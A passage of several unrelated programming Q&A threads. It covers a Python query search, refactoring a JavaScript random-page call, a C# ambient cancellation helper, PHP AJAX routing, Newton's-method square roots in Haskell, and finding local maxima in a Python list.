                results_list.append(results[1])
        if results_list:
            print results_list
        else: print -1

This will return:

Venkee Enterprises:>python test.py
[2]
[1]

for my input data of:

sentences = ["Hello world, this is a sentence.", "This is also a sentence.", "This, however, is an incomplete"]
queries = ["sentence", "Hello"]

As it was able to find 2 words that match for the query "sentence" and 1 word that matched "Hello".

Hope this helps.


Getting a random number between a min and a max I have a function that gets a random number between a min and max.

I call the function on a variable as such:

let randomPage = getRandomIntInclusive(1, 5);

That expression is repeated several times in my code (let's say 5 to 10 times within different functions). Is there a way to refactor it further or call it in a better way?

The way I call it is like:

function a() {
  randomPage = getRandomIntInclusive(1, 5);
}

function b() {
  randomPage = getRandomIntInclusive(1, 5);
}

function c() {
  randomPage = getRandomIntInclusive(1, 5);
}

Full code:

$http({
  method: "GET",
  url: "URL"
})
.then(function mySuccess(response) {
  $scope.discoverMovie = response.data;
  /* console.log($scope.discoverMovie);
  console.log($scope.discoverMovie.results[0].id); */
  var i = getRandomIntInclusive(1, $scope.discoverMovie.results.length - 1);
  trailerKey = $scope.discoverMovie.results[i].id;
  getMovieDetail(trailerKey);

  $scope.nextMovie = function () {
    /* Get Movie to Next Movie Function */
    i = i + 1;
    if (i == $scope.discoverMovie.results.length) {
      randomPage = getRandomIntInclusive(1, 5);
      i = getRandomIntInclusive(1, $scope.discoverMovie.results.length - 1);
      getMovieList(randomPage);
    }
    trailerKey = $scope.discoverMovie.results[i].id;
    getMovieDetail(trailerKey);
  };

  $scope.previousMovie = function () {
    /* Get Movie to Next Movie Function */
    i = i - 1;
    if (i < 0) {
      randomPage = getRandomIntInclusive(1, 5);
      i = getRandomIntInclusive(0, $scope.discoverMovie.results.length - 1);
      getMovieList(randomPage);
    }
    trailerKey = $scope.discoverMovie.results[i].id;
    getMovieDetail(trailerKey);
  };
}, function myError(response) {
    $scope.discoverMovie = response.statusText;
 });

You can abstract the code in another function and then call it.

If you are using OOP, then you can either pull that in (abstract) Parent class, this way it would be accessible to everyone.

function getRandomPageNumber(){
    return getRandomIntInclusive(1, 5);
}


Operation cancellation Brevity is for kings as it requires context and context is for kings. Me.

GitHub and NuGet

How many times you have been writing something like this passing those tedious logger/token parameters?

interface IMyService
{
    void Method1(…, ILogger logger, CancellationToken token);
    void Method2(…, ILogger logger, CancellationToken token);
    …
}

Enough is enough. Please see here about ambient logging. Below is about ambient cancellation.

What we are about to do is to use a special Cancellation helper class like this:

    static void Main(string[] args)
    {
        using (new Cancellation())
        {
            Task.Run(PingAsync);
            ReadLine();
            Cancellation.Request();
            ReadLine();
        }
    }

    static async Task PingAsync()
    {
        try
        {
            while (!Cancellation.Requested)
            {
                await Task.Delay(100, Cancellation.Token);
                WriteLine("Ping");
            }

            Cancellation.ThrowIfRequested();
        }
        catch(OperationCanceledException)
        {
            WriteLine("Ping cancelled");
        }
    }

Where Cancellation is defined as:

public class Cancellation : IDisposable
{
    static AsyncLocal<CancellationTokenSource> Context { get; } =
        new AsyncLocal<CancellationTokenSource>();

    public Cancellation()
        : this(CancellationToken.None)
    {
    }

    public Cancellation(CancellationToken cancellationToken)
        : this(cancellationToken, Timeout.InfiniteTimeSpan)
    {
    }

    public Cancellation(int timeout)
        : this(TimeSpan.FromMilliseconds(timeout))
    {
    }

    public Cancellation(TimeSpan timeout)
        : this(CancellationToken.None, timeout)
    {
    }

    public Cancellation(CancellationToken cancellationToken, int timeout)
        : this(cancellationToken, TimeSpan.FromMilliseconds(timeout))
    {
    }

    public Cancellation(CancellationToken cancellationToken, TimeSpan timeout)
    {
        Parent = Context.Value;
        Context.Value = CancellationTokenSource
            .CreateLinkedTokenSource(cancellationToken);

        Context.Value.CancelAfter(timeout);
    }

    public void Dispose()
    {
        var cts = Context.Value;
        Context.Value = Parent;
        cts.Dispose();
    }

    CancellationTokenSource Parent { get; }
    public static CancellationToken Token =>
         Context.Value?.Token ?? CancellationToken.None;

    public static void Request() => Context.Value?.Cancel();
    public static bool Requested => Token.IsCancellationRequested;
    public static void ThrowIfRequested() => Token.ThrowIfCancellationRequested();
}

Not sure if it counts as an answer, but the most important missing part was the following ASP.NET Core attribute:

public class AmbientContextAttribute : Attribute, IAsyncActionFilter
{
    public async Task OnActionExecutionAsync(ActionExecutingContext context, ActionExecutionDelegate next)
    {
        using (new Op(context.HttpContext.Request.GetDisplayUrl()))
        using (new Cancellation(context.HttpContext.RequestAborted))
            await next();
    }
}


Best way to structure PHP AJAX handlers? I'm just getting started with AJAX and am unsure of the best way to structure a PHP AJAX handler. I created a PHP file, ajax_handler.php, and the way I have it structured now is just a bunch of if-else statements (one for each AJAX event), like the following.

First, I make sure there's actually a request being made:

if(isset($_GET['req']))
{
    $req = $_GET['req'];
}
else
{
    die('No request.');
}

Then I process the request like this:

if($req == 'doSomething')
{
    // do something
}
else if($req == 'doSomethingElse')
{
    // do something else
}
else if($req == 'doSomethingDifferent')
{
    // do something different
}
else if($req == 'doSomethingMore')
{
    // do something more
}

The above method works, but it becomes a little difficult to navigate when there are dozens upon dozes of cases. Is there a better method?

Lots of if's tend to signal the need for some classes. What are you using for the main routing that's being done by your app? In other words, when you point to domain.com/blog, how does your app know where to go?

One way to do routing is to use a front controller. It parses the request and makes the appropriate calls. From there, you can create classes for each individual controller your app needs. For example, perhaps you have a blog part of your site. Your front controller routes all requests that start with /blog to the BlogController.php class. This class has several methods: show, create, delete, recent, etc. And depending on the url request, the appropriate method is called.

At this point, adding ajax is easy & organized. Say you have implemented comments in PHP, so you have an addComment method on your Blog controller. To turn it into ajax, simply make your ajax request to /blog/comment/add (or whatever route you're currently using to get here). The front controller will point it to the appropriate method in your Blog controller, and now all you need to do is check if the request was ajax (look at the $_SERVER['HTTP_X_REQUESTED_WITH'] variable). If it was, return just the data you need (some success info).

To add new, ajax-only functionality, you can simply add more methods to your controller, and point your ajax request to the appropriate url. Essentially, you'll be using url's to handle your routing, instead of your if-else structure. And why not? That's what a web app is designed to do in the first place.

For more on this type of architecture, check out this really great article from Symfony2's documentation: http://symfony.com/doc/current/book/from_flat_php_to_symfony2.html.


Square root calculation with Newton's method I am currently learning Haskell in parallel of following the Scala course proposed by Coursera.

To practice Haskell I try to implement exercices and/or course example from this course.

So there is a simpler square root estimation implementation:

sqrt' :: Double -> Double -> Double
sqrt' x guess
  | guessIsGoodEnough = guess
  | otherwise         = sqrt' x improvedGuess
  where
    -- Test the precision of the guess
    precision          = 0.001
    guessIsGoodEnough  = abs (guess * guess - x) < precision * x
    -- Improve our guessed square
    improvedGuess      = (guess + x / guess) / 2

I welcome any feedback on this, I mostly aim for clarity and simplicity (one-liner welcome, but I do not specificaly aim for that ;) ).

Somewhere between primitive recursion and grossly clever one-liners we can find a happy medium using functions from the Prelude.

To start though I'll look at the cosmetic. Immediately I'm confused by name and signature of the function, the square root is a function of a single number, not two. It's confusing for your function to be named sqrt' when typically the tick mark is used in Haskell to distinguish strict functions from lazy ones, or to name successive iterations on some value. When you're browsing your Haddock documentation later or coming back to this code in three years you'll be stupefied by sqrt', but probably have a pretty good idea what refineSqrtGuess might do.

Next, I would rewrite the function so that x isn't copied around everywhere. Since its value doesn't change, make that clear.

refineSqrtGuess :: Double -> Double -> Double
refineSqrtGuess x = refine
  where
      refine guess
        | guessIsGoodEnough = guess
        | otherwise         = refine improvedGuess
        where
          -- Test the precision of the guess
          precision          = 0.001
          guessIsGoodEnough  = abs (guess * guess - x) < precision * x
          -- Improve our guessed square
          improvedGuess      = (guess + x / guess) / 2

Also those comments are unnecessary, I think it's fairly clear from your descriptive names what's going on.

Alright now for the fun stuff. Let's begin by identifying the individual components of what your function is doing.

It's applying a mathematical function to a value.
It's producing a sequence by applying that function recursively.
It's choosing the first value from that sequence which matches a predicate.

Your function is a very imperative, monolithic implementation of those three components, but in Haskell-land composition is king. Let's try tackling each separately and see how they can be composed.

Number one is easy since we already know the math we're going to be doing, just roll up the improvedGuess value into a function.

next :: Double -> Double -> Double
next x guess = (guess + x / guess) / 2

Number two requires we know a bit about creating sequences in Haskell, which of course are usually lists, so we can take a look at the documentation for Data.List. As it turns out there's a function that repeatedly applies a function f to a value x for us, iterate. Here's how we'd use it.

guesses :: Double -> Double -> [Double]
guesses x initial = iterate (next x) initial

Now the third bullet on my list should really be broken in two, one bullet point for the predicate, and another for searching the sequence with it. But that's alright of course, our personal design documents don't have to be perfect from the get-go to be useful.

The predicate is of course the guessIsGoodEnough value, expressed as a function.

acceptGuess :: Double -> Double -> Bool
acceptGuess x guess = abs (guess * guess - x) < precision * x
    where precision = 0.001

And if we look back at the documentation for Data.List, sure enough under the section heading "Searching with a predicate" find looks like it does what we want, just note that it returns a Maybe a value. This is of course because the predicate we provide might not match any element of the given list, which now obligates me to point out that you should always code defensively and consider the totality of your functions on any given input. I'll address some concerns in iterations on my solution but here's how we'd put it all together.

import Data.List (find)
import Data.Maybe (fromJust)

refineSqrtGuess :: Double -> Double -> Double
refineSqrtGuess x initial = fromJust $ find (acceptGuess x) (guesses x initial)

By using higher order functions to handle the iterative and recursive aspects of the problem, we end up with a solution that almost reads like prose.

Appendix: Edge Cases & Errors

There's a lot that could go in this section, so I'll just point out a few things so this doesn't get tedious.

fromJust should be avoided, it isn't total and if we did call it on a Nothing value we'd get a big fat *** Exception: .... Consider changing the signature of the function to return a Maybe Double.

This could happen if we changed our code to not produce an infinite list of guesses (guesses x initial = take 500 $ iterate ...). What if precision was changed to 0 by another programmer (or future you) or floating point math throws you a curveball?

Appendix: Two-liner

After writing your function in terms of higher order functions it's usually trivial to then turn it into a one-liner, just inline all of the function calls. In this particular case we've got a two-liner unless your terminal happens to be very wide.

refineSqrtGuess :: Double -> Double -> Maybe Double
refineSqrtGuess x initial = find (\guess -> abs (guess^2 - x) < 0.001 * x)
                          $ iterate (\guess -> (guess + x / guess) / 2) initial

I wouldn't use that version, I think it's a little opaque with all of that inlined math. But I would definitely use this one.

refineSqrtGuess :: Double -> Double -> Maybe Double
refineSqrtGuess x initial = find withinPrecision $ iterate newtons initial
    where
          withinPrecision guess = abs (guess^2 - x) < 0.001 * x
          newtons guess = (guess + x / guess) / 2


Find the locally biggest or equal values including corners in an array I am looking for a function, that will find in array of n integers highest or equal locally values including corners.

My code is probably wrong, and I somehow think solution is in some library like NumPy or SciPy, but I do not know how to find it:

def look_for_maximas(vals):
    '''
    actually look for hills, 1, 0, 1, 1, 0, 1, 1, 2, 1, 0, 0 should return indexes 0, 2, 3, 7
    :param vals:
    :return:
    '''
    if len(vals) == 0:
        return []
    res = []
    buff = [0]
    is_candidate = True
    i = 1
    while i < len(vals):
        if vals[i] > vals[i-1]:
            is_candidate = True
            buff = [i]
        elif vals[i] == vals[i-1] and is_candidate:
            buff.append(i)
        else:
            if is_candidate:
                res += buff
            is_candidate = False
            buff = []
        i += 1
    if is_candidate:
        res += buff

    return res

I have some tests to test it:

assert look_for_maximas([1, 0, 1, 1, 0, 1, 1, 2, 1, 0, 0]) == [0, 2, 3, 7]
assert look_for_maximas([0]) == [0]
assert look_for_maximas([0, 1, 0]) == [1]
assert look_for_maximas([]) == []
assert look_for_maximas([0, 0, 0, 0]) == [0, 1, 2, 3]
assert look_for_maximas([i for i in repeat(0, 1000)]) == range(0, 1000)
assert look_for_maximas(
    [100, 0, 0, 100, 10, 0, 10, 10, 0, 5, 3, 0, 0, 10, 10, 10, 10, 100, 0, 1]) == [0, 3, 6, 7, 9, 17, 19]

And it passes it, but it is probably not the best code and I am probably inventing wheel one more time.

First off you can change the while loop to a for loop.

for i in range(1, len(vals)):

This makes the program easier to understand. As then there is no i += 1.

It is also un-pythonic to do:

if len(vals) == 0:

Instead do:

if not vals:

As you want it to work with edge cases, what about generators? And other objects that are iterable, but not index-able.

I would change the if not vals: to a try except.

vals = iter(vals)
try:
    prev = next(vals)
except StopIteration:
    return []

And then you can change the for loop to use enumerate.

for i, curr in enumerate(vals, 1):
    if curr > prev:
        is_candidate = True
        buff = [i]
    elif curr == prev and is_candidate:
        buff.append(i)
    else:
        if is_candidate:
            res += buff
        is_candidate = False
        buff = []
    prev = curr

now it will work with anything that is iterable. And so it will work with generators.

Both yield and list.append are \$O(1)\$. However I like to think that list.append is \$O(n)\$. This is as lists rely on the amortized worst case to be \$O(1)\$.

From the Python time complexity page.

  Internally, a list is represented as an array; the largest costs come from growing beyond the current allocation size (because everything must move)

So using range, assuming you're using Python3, and generators can be better.

def look_for_maximas(vals):
    def res(vals):
        vals = iter(vals)
        # Exploiting for-loops and generators. It's kinda surprising this works.
        prev = next(vals)

        start = 0
        # Has to be in scope for the last yield.
        i = 1
        for curr in vals:
            if curr > prev:
                start = i
            elif curr < prev:
                if start is not None:
                    yield range(start, i)
                start = None
            prev = curr
            i += 1

        if start is not None:
            yield range(start, i)

    for range_ in res(vals):
        for i in range_:
            yield i

It is not as fast as a NumPy or SciPi solution, but can be a lot faster than using lists.

I tested this by doing assert list(look_for_maximas(...)) == .... And it worked for them all. However I don't have repeat, and removed that test.